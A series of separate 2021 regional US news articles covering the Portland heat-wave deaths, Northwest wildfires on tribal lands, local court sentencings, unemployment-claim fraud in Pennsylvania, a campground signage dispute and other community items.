PORTLAND, Ore. (AP)  Most people who perished in last months record-smashing heat wave in Oregons most populous county were white, male, older and socially isolated, according to a preliminary report released Tuesday in Portland.

Initial tallies show that heat was likely the cause of death for 71 residents of Multnomah County, home to Oregons largest city. The heat has been officially confirmed as the cause of death in 54 of those people. Some residents bodies were not found for up to a week after the worst of the heat had passed, a fact that authorities said supports the role of social isolation in the deaths. The average age was 70.

Many of them were our elders, those who need our care the most, and many were all alone, County Chair Deborah Kafoury said.

Three consecutive days of extraordinary temperatures in the Pacific Northwest, which usually experiences mild summers, shattered all-time records and sent public health officials scrambling between June 25 and June 28. Temperatures in Portland reached triple digits for three days, peaking at 116 degrees Fahrenheit (47 Celsius) as records fell across Oregon, Washington and British Columbia, Canada.

Oregon blamed 116 deaths on the heat, Washington state reported at least 91 and officials in British Columbia say hundreds of sudden and unexpected deaths are likely due to the soaring temperatures. More people died from the heat in the greater Portland area this June than in the entire state over the past 20 years, authorities said Tuesday.

An initial scientific analysis by World Weather Attribution found that the deadly heat wave would have been virtually impossible without human-caused climate change that added a few extra degrees to the record-smashing temperatures.

The heat that settled over our county, over our family and friends, was life-threatening, and it arrived decades ahead of our best predictions for when this kind of climate disruption should first appear, said Kafoury, who grew up in Portland without air conditioning.

The climate disruption we all feared would happen someday is happening right now and we all need to work together, as a county, as a resilient community, as neighbors, to be prepared."

State emergency management officials acknowledged Monday that 750 people who called an information line over the blistering hot weekend were unable to get through because of a shortage of operators. They struggled to get rides to cooling centers and others endured such long wait times to request a ride that they instead called 911.

Tuesday's report focused specifically on the Portland metropolitan area, where the death toll was highest.

More than three-quarters of those who died lived alone, 55% lived in apartments or other multi-unit housing and, of those, nearly half lived on the third floor or above. Almost a quarter had no source of cooling  not even a fan  while seven victims had air conditioning but it was broken or had not been turned on.

Over 90% were white and 63% were male. Two people were found dead in their vehicles and one person who perished had an air conditioning unit that could not keep up with the scorching temperatures.

Most of the deaths were reported to authorities on or after June 29, when the worst of the heat had passed, authorities said.

I think we've learned a really hard lesson and I'm sorry that we're going to be using this event in the future to help convey the risk that heat poses," said Dr. Jennifer Vines, a county health officer.

In advance of the heat, authorities opened three cooling centers and nine libraries for those without air conditioning. County employees also called and sent text messages to thousands of vulnerable residents enrolled in various assistance programs and instructed property managers and developers of low-income housing to check on their residents twice a day during the peak heat.

Dozens of teams also roamed the city handing out water, wet towels, misting devices and electrolytes and checking on the homeless population.

A total of three people died in two different apartment complexes dedicated to housing vulnerable people, many of them transitioning from homelessness or recovering from drug addiction. Two more died in an assisted living facility; those deaths are being referred to the state for further investigation.

County employees worked through the night, every night," Kafoury said. And that's why when death reports started to come in we were devastated and we still are devastated.

___

Follow Gillian Flaccus on Twitter at http://www.twitter.com/gflaccus
SPRINGFIELD  Small business growth lags in Illinois, according to a recent report by Paychex which puts the state last in hourly and weekly wage growth among small businesses.

Paychexs Small Business Watch showed over the last 12 months Illinois hourly wage grew 1.7% and weekly wage grew 0.85%. Thats compared to Missouri which grew its hourly wage 4.09%.

Illinois Chamber of Commerce President and CEO Todd Maisch said a preliminary impression of the data suggests Illinois reaction to the pandemic may be to blame.

Illinois could have opened up its economy sooner and consequently been closer to the national average in terms of growth, he told the Illinois Radio Network

Maisch cautions, however, against drawing too many conclusions from the last six months of data.

This is the kind of thing where were going to need to look back a year from now, even 18 months from now, and get a better feel for what states did and what was the impact on their economies, he said.

Job growth in Illinois is also low compared to other states.

Over the last 12 months, Illinoiss job growth was measured at 1.91% as compared to other states like North Carolina who saw growth at 7.06%.

Illinois slow job growth is a result of the current worker shortage, according to Maisch. That shortage is the biggest problem facing Illinois small businesses right now, he said.

Maisch points to the supplemental federal unemployment benefit as a primary cause behind the shortage.

That added benefit  which again is not $300 a month, its $1,200 a month  is definitely a dampening impact on people willing to return to the workforce, he said.

Gov. J.B. Pritzker recently reiterated that Illinois will keep the benefit through September. Maisch said that is a mistake.

They should take a closer look at ending the unemployment benefit  the added, extra unemployment benefit, he said.

Maisch said Missouri ended that federal benefit June 12.

Anecdotally, I will tell you that we hear from employers over there that it has made a big difference in terms of being able to find people willing to work, he said.

Pritzker recently proposed creating a cash incentive to entice Illinoisans back to work. Maisch said that is unlikely to work.

Paying people to return to the productive workforce is something that is not only going to create perverse incentives, but second, its really going to undermine small business confidence in their government, he said. Basic question: Ive got a job at a good wage. Why should I be paying higher taxes to pay someone to take my job?

Its just the wrong approach and we hope that the governor doesnt go that route, Maisch said.
ALTON  The Alton Municipal Band is easing back to a normal performance season with both concerts featuring the full band in the gazebo at Riverview Park at 8 p.m. on Thursday and again at Haskell Park at 7 p.m. on Sunday.

Nearly 100% of the members are vaccinated. With outdoor masking guidelines changing the band is venturing to the gazebo as a full group this week for the first time since 2019.

The theme is Lets Go with the band under the direction of David Drillinger performing GO Galop, Theme from New York, New York, Italian Rhapsody, Olympic Fanfare and Theme,\ Ballet Egyptian, Childrens March, I Left My Heart in San Francisco, Chicago Tribune March, and The Great Escape.

The band will feature vocalist Susan Parton Stanard performing On a Clear Day You Can See Forever, Sentimental Journey and They All Laughed. She will using a brand-new soloist stage built for the gazebo by Dan Leonard, a former trumpeter with the Alton Municipal Band in the 1990s.

Born and raised in Alton, Stanard performed in operas, concerts and recitals for more than 35 years. She continues as a performer, instructor and mentor to many vocalists. She made her recording debut in a Columbia Records recording of the Verdi Requiem with Ezio Flagello. She has more than 30 years experience in college level music education, conducting master classes and lectures across the U.S. and Europe.

She earned her Bachelor of Music in voice and opera from Jacksonville University, where she also obtained a Master of Arts in music education. She taught at Jacksonville University, Mayport Junior High School and Florida State College. She was the Co-Director of Vocal and Choral Education at Douglas Anderson High School for the Performing Arts in Jacksonville, Florida.

In 2002 she returned to the Riverbend, retiring this month. She is a Woman of Distinction honoree and recipient of the Excellence in Teaching Award from the Emerson Electric Company. She won first place in the Florida State as well as the Eastern Regionals of the Metropolitan Opera Auditions and was named the Outstanding Artist of the Year by the New Jersey State Opera.

Stanard was awarded the Albert Nelson Marquis Lifetime Achievement Award by Marquis Whos Who. She is a Nationally Certified Teacher of Piano and Vocal Music by the Music Teachers National Association.

In 2021, Stanard retired from Lewis and Clark Community College where she was Director of Vocal Studies and Choral Ensembles for 20 years. She currently is doing music ministry at the Evangelical Church in Godfrey on Sundays, teaching private lessons and performing for weddings and other special events.

Concerts in the Park is a nine-week summer concert season which runs through Aug. 8, 2021. Week 7 is themed An Evening With Erin feauring vocalist Erin Bode from Nashville, Tennessee. Week 8 is the childrens concert featuring STL TV/Radio personality Heidi Glaus with the story Peter and the Wolf and returning clarinet talent Sophie Browning who was rained out Week 3. Week 9 is themed So Long, Farewell, and will feature vocalist Robyn Brandon.

Despite looming clouds, the Alton Municipal Band saw another great turnout at Haskell Park last Sunday. Director David Drillinger pressed on through the program with AMB member and trumpeter Will Schmalbeck performing arrangements with his jazz group.

Last Sunday the kiddie parade was led by members of the Junior League of Greater Alton. This week members of the YWCA of Alton will help organize the parade.

For more information contact Julie McPike at jmcpike@altonmunyband.org or 618-830-0328.
PORTLAND, Ore. (AP)  Karuk tribal citizen Troy Hockaday Sr. watched helplessly last fall as a raging wildfire leveled the homes of five of his family members, swallowed acres of forest where his people hunt deer, elk and black bear, and killed a longtime friend.

Now, less than a year later, the tribal councilman is watching in horror as flames encroach on the parched lands of other Native American tribes in the Pacific Northwest that already are struggling to preserve traditional hunting and fishing practices amid historic drought. At least two tribes have declared states of emergency amid the devastation.

After last years Slater Fire near Happy Camp, California, We got spread out all over the place," said Hockaday, who said about 200 homes, including many belonging to Karuk citizens, were burned. Some people have already sold their property and given up. But the tribe as a whole, were trying to build ourselves back and be strong.

Its hard to watch the devastation of what a fire can do nowadays. Its just crazy  and we just started July," he added.

Blazes in Oregon, California, and Washington state were among nearly 70 active wildfires that have destroyed homes and burned through about 1,562 square miles (4,047 square kilometers) in a dozen mostly Western states, according to the National Interagency Fire Center.

Extremely dry conditions and heat waves tied to climate change have swept the region, making wildfires harder to fight. Climate change has made the American West much warmer and drier in the past 30 years and will continue to make weather more extreme and wildfires more frequent and destructive.

The Northwest Interagency Coordination Center moved the Pacific Northwest region up to the highest alert level Wednesday  rare for this time of year  as dry, gusty winds were expected in parts of Oregon and new fires popped up.

In California, a fire was rapidly expanding Wednesday in the Feather River Canyon, about 10 miles (16 kilometers) from Paradise, the foothill town largely destroyed by a 2018 wildfire that killed 85 people. State fire officials said the new blaze, which erupted late Tuesday afternoon, covered 1.8 square miles (4.8 square kilometers). By evening, the blaze was moving away from populated areas but there was zero containment of the Dixie Fire and two tiny Butte County communities were warned to be ready to evacuate.

The largest fire in the U.S. on Wednesday was burning in southern Oregon, to the northeast of the wildfire that ravaged Hockadays tribal community less than a year ago. The lightning-caused Bootleg fire was encroaching on the traditional territory of the Klamath Tribes, which still have treaty rights to hunt and fish on the land, and sending huge, churning plumes of smoke into the sky visible for miles.

The blaze, which has burned an area larger than New York City, has destroyed about 20 homes and 2,000 more are under evacuation, but much of it was burning in remote areas of the Fremont-Winema National Forest. On Wednesday, the fire was 5% contained.

But even when the flames don't enter densely populated areas, the impact of the increasingly intense fires around the U.S. West is felt directly by Native American tribes, who have managed the land for millennia.

We couldnt do ceremonies because of the fire and our hunting grounds, we could not hunt there, said Hockaday of last year's fire. About 40 square miles (103 square kilometers) of our original territory is closed to us right now.

Members of the Klamath Tribes in Chiloquin, Oregon, are concerned the Bootleg Fire will affect their ancestral territory as well.

There is definitely extensive damage to the forest where we have our treaty rights. I am sure we have lost a number of deer in the fire, said Don Gentry, chairman of the Klamath Tribal Council in Chiloquin, Oregon.

Gentry said although the active fire was 25 miles (40 kilometers) from the tribes administrative headquarters, the council declared a state of emergency Wednesday because of its erratic behavior and rapid growth.

With the severity of the fire, were really concerned about where the fire might go from here, so we have a lot of concern about the future, he said Wednesday.

The Klamath Tribes have been affected by wildfires before, including one that burned 23 square miles (60 square kilometers) in southern Oregon last September. That fire damaged land where many of Klamath tribal members hunt, fish and gather. The fire also burned the tribes cemetery and at least one tribal members house.

This years blaze is another blow for the tribe, which has already seen water levels fall so low in a local lake that federally endangered fish species central to their culture and heritage could not spawn this spring. Farmers who also draw much of their irrigation water from the same lake also got no irrigation this summer as extreme drought reduced flows to historic lows.

Farther north, in north-central Washington, hundreds of people in the town of Nespelem on Colville tribal land were ordered to leave because of imminent and life-threatening danger as the largest of five wildfires caused by dozens of lightning strikes Monday night tore through grass, sagebrush and timber.

Seven homes burned, but four were vacant, and the entire town evacuated safely before the fire arrived, said Andrew Joseph Jr., chairman of the Confederated Tribes of the Colville Reservation, which includes more than 9,000 descendants of a dozen tribes.

That fire grew Wednesday but so did containment and it was now 20% surrounded.

The tribes declared a state of emergency Tuesday and said the reservation was closed to the public and to industrial activity.

Another fire in Chelan County in central Washington was threatening 1,500 homes along with orchards and a power station, authorities said. Mandatory evacuations were in effect.

The Sheriffs Office said detectives and county and federal fire investigators served a search warrant at a home believed to be the place where the fire started but the news release didn't provide any other details.

___

Howard reported from Klamath Falls and Bly, Oregon. Sara Cline contributed to this report from Salem, Oregon. She is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on undercovered issues. Associated Press journalists Christopher Weber and John Antczak in Los Angeles contributed to this report.
It has been oppressively hot recently, and while I like to enjoy some beverages, the heat sometimes makes it less enjoyable.

When that happens, I tend to look for something on the lighter side, like a white beer or light wheat ale. On a recent trip to the distributor, I asked the employees what they would recommend for porch drinking. They sent me the way of IPAs, which Im not usually a fan of (but I did find one I did enjoy), and also recommended Dogfish Head Brewerys Namaste White.

I have tried a variety of Dogfish Heads beers and have never been disappointed. The brewery was founded in Rehoboth Beach, Delaware, in June 1995 and prides itself on not only crafting quality craft beers but also giving back to the community that has supported it over the years. Now located in Lewes, Delaware, it is a ferry ride away from Cape May, New Jersey, and also runs a distillery and seafood restaurant plus a campground near the brewery. It offers its space to nonprofits and often donates money to support causes.

Initially the smallest commercial brewery in the United States, Dogfish Head brewed 12-gallon batches three times a day, five times a week, to keep up with the demand at its brewpub and restaurant. This has enabled it to try various recipes and develop multiple types of delicious brews. In May 2019, Dogfish Head merged with the Boston Beer Co. to expand its portfolio of craft and beyond-craft beers.

Namaste White is classified as a white ale and is a witbier crafted with dried orange slices, freshly cut lemongrass, peppercorns and a bit of coriander. This produces a unique, complex and fruity yet spicy experience.

The initial pour into a pint glass displayed a hazy, pale yellow, swirling liquid topped with a frothy, fluffy 1.75-inch head. I noticed a multitude of layered aromas: clove, orange, lemon and spice. The first taste delivered a light, refreshing mouthfeel with layers of fruity flavors followed by sweet ones and ended with a slightly spicy aftertaste. It wasnt too bitter, either, as it clocks in with 20 International Bitterness Units. The legs hung on throughout the session and followed all the way down to the bottom of the glass.

You can enjoy this refreshing experience on a hot day or just whenever you feel in the mood for a well-crafted witbier. Produced since 2009, Namaste White has 4.8% ABV and should be enjoyed responsibly.

The brewery recommends you pair Namaste White with a roasted turkey or pasta with cream sauce, and I will definitely try that in the near future. I have added Dogfish Head to the list of breweries I plan to visit on a future road trip. If you havent had the opportunity to experience it yet, perhaps you can add it to your vacation plans  with the bonus that you get to enjoy some fantastic craft beers, too.
A new wine lounge in Honesdale is giving back to volunteers who protect borough residents.

Three Hammers Winery, which opened a location at 542 Main St. earlier this month, created a special blend to recognize the firefighters at Hose Company 1 located next door.

The business is donating $1 from the sale of each bottle of its Firehouse Red wine to the volunteer fire department.

Co-owners Rob Kobrzynski and his wife, Christine Pucciarello, established Three Hammers first location in Lackawaxen Twp. in May 2018 and were eager to broaden the scope of the business offerings.

We were interested in expanding the Three Hammers brand to other markets and felt like Honesdale was an up-and-coming town, Kobrzynski said. We thought it would be pretty cool to have a wine presence in town.

Kobrzynksi said they are renting the space from the fire department and some of the volunteers helped them renovate the room.

We wanted to create a really nice, laid-back vibe and sophisticated lounge-type experience where people can feel comfortable and drink some fine wines, he said.

He was grateful for the assistance from the firefighters to bring the business plans to fruition.

They came in and did the flooring for us and a couple electrical and plumbing jobs, Kobrzynski said. Theyve been a great, accommodating group of guys.

Jerry Dulay, captain of Hose Company 1, has enjoyed collaborating with the business owners on the project.

Theyre probably the best tenants Ive ever worked with, he said. Theyre very friendly folks.

Dulay noted the financial support from the business will help with the departments expenses.

Every dollar we get is greatly appreciated, he said. We keep upgrading our turnout gear and we just bought all new hose because it was outdated.

The wine lounge is open from noon to 8 p.m. Wednesday through Saturday and noon to 5 p.m. each Sunday.

Kobrzynski added Three Hammers also plans to introduce another special bottle release  Bravery and Liberty  next week to benefit Wallenpaupack Vets for Vets, a nonprofit organization that helps grant wishes for veterans and first responders in Pike and Wayne counties. One dollar from each bottle of the white wine sold will be donated to the group.

This charitable idea is near and dear to our heart, he said. Christines father, James, served in Vietnam and he passed away a few years ago. Its honoring him and all of his fellow soldiers.
A 46-year-old Hunlock Creek man, housed in the state correctional institute at Mahanoy, recently entered a new guilty plea for stabbing three people in 2015 in a Tunkhannock home with a folding hunting-type knife.

Shawn C. Conklin was sentenced Feb. 10, 2016, to 30 to 60 years in state prison, which included a 20- to 40-year sentence on a charge of attempted third-degree murder of his wife while he was mentally ill.

Last fall, a Pennsylvania Superior Court panel tossed the original plea and sentence with Judge Daniel McCaffery noting, an attempt to commit second- or third-degree murder would seem to require proof that a defendant intended to perpetrate an unintentional killing  which is logically impossible.

Conklin entered new pleas Friday to three separate counts of aggravated assault, while mentally ill. Conklins attorney Paul Ackourey stipulated that no new competency hearing needed to take place as the mental illness designation had already been confirmed closer to the time of the crime.

On Tuesday, three new sentences also were handed down.

In the stabbing of his wife, Conklin now faces seven to 20 years in state prison, restitution of $3,122, and a fine of $500. In the stabbing of his brother-in-law, Conklin faces 6 to 12 years in state prison, and a fine of $500. In the stabbing of a juvenile, Conklin faces six to 12 years in state prison, and a fine of $500.

All of the sentences are to be served consecutively so his aggregated sentence is now 19 to 44 years, and the judge acknowledged Conklin had already spent 2,276 days incarcerated.

Other guilty pleas entered Friday before Wyoming County President Judge Russell Shurtleff included:

Devin Scott Brewer, 38, of Meshoppen, pleaded guilty to flight to avoid apprehension on April 21.

Morgan David Brown, 27, of Edwardsville, pleaded guilty to possession of drug paraphernalia on July 15, 2020.

Brandon Jay Carter, 25, of Montrose, pleaded guilty to simple assault and indecent exposure on July 6, 2017.

Jennifer Lynn Davies, 40, of Nicholson, pleaded guilty to endangering the welfare of children on Dec. 18, 2020.

Mathew Scott Gatto, 31, of Hop Bottom, pleaded guilty to materially false statement on June 10, 2020.

Francis Michael Kane, 49, of Scranton, pleaded guilty to DUI on Aug. 15, 2020.

David Paul Kossow, 28, of Nicholson, pleaded guilty to DUI on March 18.

Mark Carl McCarey, 61, of Bath, N.Y., pleaded guilty to DUI of a controlled substance, 2nd offense, on Dec. 1.

Michael Daniel Munkatchy, 51, of Monroe Twp., pleaded guilty to possession of drug paraphernalia on April 8.

Adam Christopher Provinzano, 32, of Covington Twp., pleaded guilty to DUI of a controlled substance on Dec. 23.

Dustin Dean Saul, 22, of Meshoppen, pleaded guilty to criminal trespass and simple assault on Apr. 29, 2019.

Cassandra Leigh Smith, 32, of Scranton, pleaded guilty to possession of a controlled substance by a person not registered on Aug. 7.

Kyle John Tighe, 27, of Dunmore, pleaded guilty to disorderly conduct on May 22, 2020.

James Robert Weaver, 34, of Laceyville, pleaded guilty to DUI on March 17.

Michael Scott White, 40, of Noxen, pleaded guilty to displaying plate card improperly on Oct. 18, 2019; and to possession of a controlled substance by a person not registered on June 21, 2020; and to fleeing or attempting to elude officer on June 21, 2020.
Judge Michael Barrasse

sentenced the following in Lackawanna County Court:

Ezequiel Montano, 19, 542 Front St., Scranton, to time served in county prison and five years of probation, including three months of house arrest, for criminal conspiracy to make a materially false written statement for the purchase, delivery or transfer of a firearm.

Ella Sherwood, 39, 114 College Ave., P.O. Box 123, Factoryville, to three years of probation, including three months of house arrest, for recklessly endangering another person and theft by unlawful taking.

Natasha White, 31, 609 E. Market St., Scranton, to four years of probation, including three months of house arrest, for possession of a controlled substance and use/possession of drug paraphernalia.

Angelica M. Rosario, 43, 2231 N. Washington Ave., Scranton, to 42 months of probation, including four months of house arrest, $500 in restitution and a $300 fine for fleeing or attempting to elude an officer, DUI and accident involving damage to an attended vehicle or property.

Gerald Cochrane, 33, 358 Ferdinand St., Scranton, to 14 to 36 months in state prison and four years of probation for escape and resisting arrest.

Shannon Gieski, 40, 312 Center St., Dickson City, to time served in state prison and five years of probation for endangering the welfare of children, simple assault, receiving stolen property and use/possession of drug paraphernalia.

Francisco Alfonso Nuques-Duran, 35, listed as homeless, to six months to one year in state prison for false identification to a law enforcement officer and disorderly conduct.

Dominic Williams Knight, 28, 922 N. Fourth St., Allentown, to 40 to 90 months in state prison for manufacture, delivery or possession with intent to manufacture or deliver.

Henry Lee Robinson, 35, 894 Sibley Ave., Apt. 2, Old Forge, to four to eight years in state prison for possession of firearm prohibited.

Charles Edward Grant, 24, 1613 Linden St., Scranton, to 22 to 60 months in state prison, six years of probation and a $300 fine for robbery, simple assault, terroristic threats and harassment.

Jonathan F. Seymour, 34, 1001 Capouse Ave., 2nd Fl., Scranton, to 23 to 48 months in state prison and five years of probation for manufacture, delivery or possession with intent to manufacture or deliver, possession of a controlled substance, use/possession of drug paraphernalia and criminal mischief.

Joseph Markle, 46, 410 Main St., Dickson City, to one to two years in state prison and two years of probation for possession of a controlled substance and use/possession of drug paraphernalia.

Daniel Kamarauskas, 39, 168 Moosic Gap Road, Lake Ariel, to time served in state prison and one year of probation for possession of a controlled substance and use/possession of drug paraphernalia.

Rasheen Naquan Flowers, 41, 800 Saginaw St., Scranton, to 16 to 36 months in state prison and five years of probation for manufacture, delivery or possession with intent to manufacture or deliver, use/possession of drug paraphernalia and criminal use of a communication facility.

Mario Anthony Rizzuto, 55, 512 Donnelly St., Duryea, to six to 24 months in state prison, one year of probation, $601.19 in restitution and a $500 fine for DUI and theft by unlawful taking.

Edwin Harvey Smith, 27, 309 Ferdinand St., Scranton, to 46 to 120 months in state prison, six years of probation and $12,244 in restitution for robbery and materially false written statement for the purchase, delivery or transfer of a firearm.

Jamie Lee Reviello, 30, 1133 Loomis Ave., Scranton, to 30 months of probation and a $300 fine for recklessly endangering another person and DUI.

Judge Margaret Bisignani Moyle sentenced:

Matthew Emery Molnar, 34, 102 Delaware Ave., Olyphant, to nine months of probation for disorderly conduct.

Judge Vito Geroulo sentenced:

Anthony John Opitz, 33, 1432 Church Ave., Room 4, Scranton, to six to 12 months in county prison for possession of a controlled substance.

Christopher William Houman, 35, 203 Owego Turnpike, Waymart, to six months of probation for statement under penalty.

Vincent Charles Falchetti, 41, Rear 1317 Schlager St., 2nd Fl., Scranton, to six months of probation and a $300 fine for DUI.

Michael Calpin Jr., 45, 3269 Cedar Ave., Scranton, to six months of probation, including 30 days of house arrest, for accident involving damage to an attended vehicle or property.

Jose Manuel Ortiz, 48, 830 N. Lincoln Ave., Scranton, to six months of probation, including 30 days of house arrest, and a $500 fine for DUI.

Robert O. Lintott, 61, 1220 S. Main Ave., Apt. 2, Scranton, to four to eight years in state prison and four years of probation for unlawful contact with a minor and criminal use of a communication facility.

Joseph Rixford, 37, 100 Railroad Ave., Peckville, to 13 to 40 months in state prison and $2,304.77 in restitution for false identification to law enforcement, unauthorized use of a motor vehicle and receiving stolen property.

Judge Andrew Jarbola sentenced:

David Anthony Carpin, 31, 19 Fairway Drive, Exeter, to one to two years in state prison for escape, possession of a controlled substance and false identification to law enforcement.
Employers in Northeast Pennsylvania and across the state are seeing fraudulent unemployment claims increase as officials try to determine the sources of a widespread data breach.

Every state has dealt with increased unemployment benefit fraud since the global pandemic began, state Department of Labor & Industry Press Secretary Sarah DeSantis wrote in an email. While many types of fraud have existed throughout the history of unemployment compensation, DeSantis wrote the recent increase in fraud attempts are tied to prior leaks of personal and confidential data, like Social Security numbers, from sources outside of state government.

If a hacker or identity thief acquires someones Social Security number, date of birth, address, employer or other personal information, they can file a fraudulent unemployment claim and set up payments to be sent to a bank account or address without the victims knowledge.

The City of Scranton reports 23 fraudulent unemployment claims have been filed for city employees, and three for non-employees, city Business Administrator Larry West said. Wilkes-Barre also determined 23 potentially fraudulent claims had been filed for city employees as of Tuesday, according to Mayor George Brown.

Lackawanna County, too, had received about 15 claims filed for county employees that it believes are fraudulent as of Tuesday, county spokesman Joe DArienzo wrote in an email. He noted the countys human resources department immediately notified the employees and the State Unemployment Office of the claims.

Scrantons human resources department has also contacted affected employees informing them theyve been a victim of fraud and providing information on how to report it. The state Office of Unemployment Compensation has a link to report fraud near the bottom of its homepage. The city has also alerted the state of the fraud, West said.

Officials with Times-Shamrock Communications, the parent company of The Times-Tribune, confirmed at least seven fraudulent unemployment claims had been filed for company employees.

Mike DeSau, corporate director of human resources at Times-Shamrock, left a message on the states fraud hotline and a representative who is part of a team investigating the fraud returned his call.

She told DeSau investigators dont know the source of the breach at this time, but they are attempting to isolate where and from whom the personal information breach or breaches originated.

She did say the breach is statewide, DeSau said.

Unemployment compensation claims for current employees are not that unusual, DeSau said, because if an employee loses a part-time job with another company, that employee can file a claim for partial unemployment because of a reduction in income.

When private contractors who deliver newspapers for the company change or lose a full-time job, they can also sometimes file for unemployment compensation.

In those situations, the Office of Unemployment Compensation sends employers forms to fill out related to an employees wages and work history.

DeSau said he decided to investigate when he noticed an uptick in claims at the company. He called the 13 employees for whom claims had been filed. So far, seven of the 13 confirmed that they had not filed those claims.

A data breach exploited by an online hacker isnt the only way to gain access to peoples personal information. Identity thieves can trick people into providing personal information as well.

These unscrupulous scammers are using phishing attempts and social media to gather personal information from unsuspecting victims in order to steal their identities and file a fraudulent UC claim, state Rep. Tarah Toohil, R-116, Butler Twp., said in a press release.

The state Department of Labor & Industry and state attorney generals office issued a warning in February that, with the availability of additional federal unemployment program funding, fraudsters are becoming bolder in their attempts to obtain and use Pennsylvanians personal information to steal this money.

The scammers goal is to create fraudulent unemployment program claims or log into existing claims to redirect benefits payments, according to the February press release.

While many of these fraudulent claims are filed using information obtained in previous nongovernmental data breaches, L&I has observed fraudsters trying to obtain personal and confidential information from Pennsylvanians through phishing or spoofing attempts, the release continued.

Toohil reported an increase in the number of calls to her district office in Hazleton from residents who may have been scammed out of their unemployment compensation benefits.

The recent rise in the number of calls were getting is disturbing, but there is little we can do other than provide information on how to file a report with the authorities, Toohil said.

The Olyphant Borough Police Department also reported in a Facebook post this week a high increase of reports made to the Police Department regarding fraudulent unemployment compensation claims filed online using personal information of the victims. The post warned of phone scams.

DeSau said the state fraud investigator also recommended that potential victims have a credit report run through one of the major companies, including TransUnion, Equifax or Experian.

The public also should be vigilant in monitoring their own credit activity or enroll in a credit monitoring company such as LifeLock or Identity Guard.

Dont think it cant happen to you, DeSau said. Its important to monitor your credit and be vigilant and proactive.

The state Department of Labor and Industry is working with multiple other agencies and law enforcement partners to identify fraudulent claims and hold fraudsters accountable, DeSantis wrote, noting the majority of fraudulent claims are caught before payments are issued.

Due to ongoing investigations, L&I does not currently have an estimate of the amount of fraudulent claims, she wrote. L&I also does not provide detailed information about its antifraud measures to avoid tipping its hand to fraudsters.
A disagreement over signs between a Jewish summer day camp and a gay campground that share a premises in Covington Twp. led to allegations of homophobia Tuesday.

Mike Hatala, owner of the 12 Penny Saloon Gay Campground on Route 502, contends the Jewish Community Center of Scranton asked him to cover a sign at the entrance of his campground out of homophobia  an accusation Dan Cardonick, the executive director of the Jewish Community Center, flatly denied. Both the 12 Penny Saloon Gay Campground and JCC Camp Daleville use the same 100-plus-acre location and facilities, with the Jewish camp operating until 5:30 p.m. on weekdays, and the gay campground operating from 6 p.m. on Fridays until 6 p.m. on Sundays.

On Tuesday, Hatala posted on Facebook that a Jewish Community Center employee tried to intimidate him and called him an expletive for hanging a gay campground sign. The community center then asked him to cover the sign, he wrote. His post included a 35-second video of a confrontation between himself and the employee, who can be heard on video using an expletive.

Although profane, the term was not homophobic.

The center promptly released a statement rebutting Hatalas, writing, We are an inclusive and tolerant organization whose members and staff represent all segments of the regional community, including the LGBTQ community. ... Those allegations and statements are completely groundless and not supported by any evidence or facts.

The 12 Penny Saloon camps sign, which Hatala said he put up Tuesday, is immediately adjacent to the JCC Camp Daleville sign. Cardonick said they asked Hatala if they could cover his sign on weekdays to avoid confusion, as the camp entrance is hard to find. They would then uncover the gay campground sign on Fridays for its own camp-goers, Cardonick said, explaining the Jewish camp takes down its own signs at night.

That was purely the ask, Cardonick said. He turned it into these ... allegations of discriminatory behavior.

The camp has 183 kids registered to attend this summer, and they get new campers every week for the full eight weeks its open, he said.

They might think theyre at the wrong campground, and thats all, Cardonick said.

Hatala said the request to cover the sign was absolutely homophobia.

Theres no mistaking the two signs, he said. Its already a set schedule.

When asked about previous homophobic remarks involving the center, Hatala declined to go into specifics due to litigation but said, There were several remarks made.

Cardonick emphasized that JCC Camp Daleville is inclusive, and the community center has LGBTQ community members, as well as campers with families who are part of the LGBTQ community.

Wheres the evidence? Cardonick said. We deny those allegations.

Cardonick said the employee, whose full name he did not know, is a state constable hired to do security at the camp due to a rise in anti-Semitism over the past year. The guard responded to investigate after someone reported a person doing something at the entrance of the camp. Cardonick acknowledged the man should not have cursed at Hatala.

The security guard should be a little more professional than that, he said. He didnt do anything derogatory or discriminatory or homophobic that we saw in the video.

Hatala believes it was to intimidate and harass him as he was putting up the sign.

I wont put up with it, he said.

The Jewish Community Center and Hatala have both sought legal action against each other in recent years, challenging how the other party uses the campground property.

The disputes stem from an agreement in 2005 where Hatala agreed to buy the property for $500,000. According to the agreement, the Jewish Community Center is allowed to continue operating its camp on the land for as long as it wants, paying $1 a year in rent. The center said it first opened the camp in 1965.

Hatala owns the property, but the community center has exclusive use and possession of the premises for the months of June, July and August each year to run its summer day camp, according to the document.

The agreement stipulates that Hatala could use the property on weekends in the summer with written permission from the community center, which he said he has for his gay campground.

The most recent legal dispute concluded in May with an order from Lackawanna County Judge Margaret Bisignani Moyle. As part of the 2005 agreement, Hatala is permitted to build a single residential building on the land, but the Jewish Community Center has to approve it before construction can begin.

On April 19, the center sought a temporary restraining order, alleging construction of a home had begun but the center did not first receive plans for the building. The lawsuit also alleges that the construction is a month before the day camp with no safety plan, fence or other structure securing the site.

Moyle granted a temporary restraining order two days later halting construction, and as part of her May 14 order, ruled that construction of the residential dwelling had to cease on weekdays from June 7 until Aug. 16.

Hatala announced the opening of the 12 Penny Saloon Gay Campground on Facebook on June 7.
July 14, 1926

State police to probe vice industry in city

State police announced they would conduct their own investigation and enforcement of the vice industry in Scranton.

Lt. Cook of Troop B, who was attached to the state Health Department, visited Scranton City Hall and the county courthouse to introduce himself to public officials.

Scranton Public Safety Director James Arigoni said Cook stopped by his office but denied that they spoke about vice.

While in the district attorneys office, Cook registered a complaint about a bawdyhouse in the 400 block of Raymond Court near the State General Hospital. During a recent trip to Scranton, Gov. Pinchot had also complained about the house.

Arigoni told the Times that the investigation and enforcement interest by the state police probably wouldnt work because of the loopholes employed by landlords and operators to stay out of the court system.

Lithuanian archbishop welcomed to Scranton

Archbishop George Matulevicius of Lithuania was the guest of honor at a reception held at Lincoln Hall in North Scranton on July 13.

The reception was organized by the members of St. Josephs Lithuanian Church under the direction of the Rev. Anthony Steponaitis.

The hall was decorated with American flags, the national colors of Lithuania, fresh cut flowers and ferns.

Matulevicius thanked Steponaitis and the church members for their work in organizing the reception. He also spoke of current conditions in Lithuania and the importance of being a good citizen.

Matulevicius celebrated Mass on July 14 at St. Josephs Church and attended an evening reception in Forest City.

Brian Fulton, library manager, oversees The Times-Tribunes expansive digital and paper archives and is an authority on local history. Contact Brian at bfulton@timesshamrock.com or 570-348-9140.
SCRANTON  A proposal to rename the Central Scranton Expressway and Spruce Street after President Joe Biden drew pushback from several public commenters at Tuesdays city council meeting.

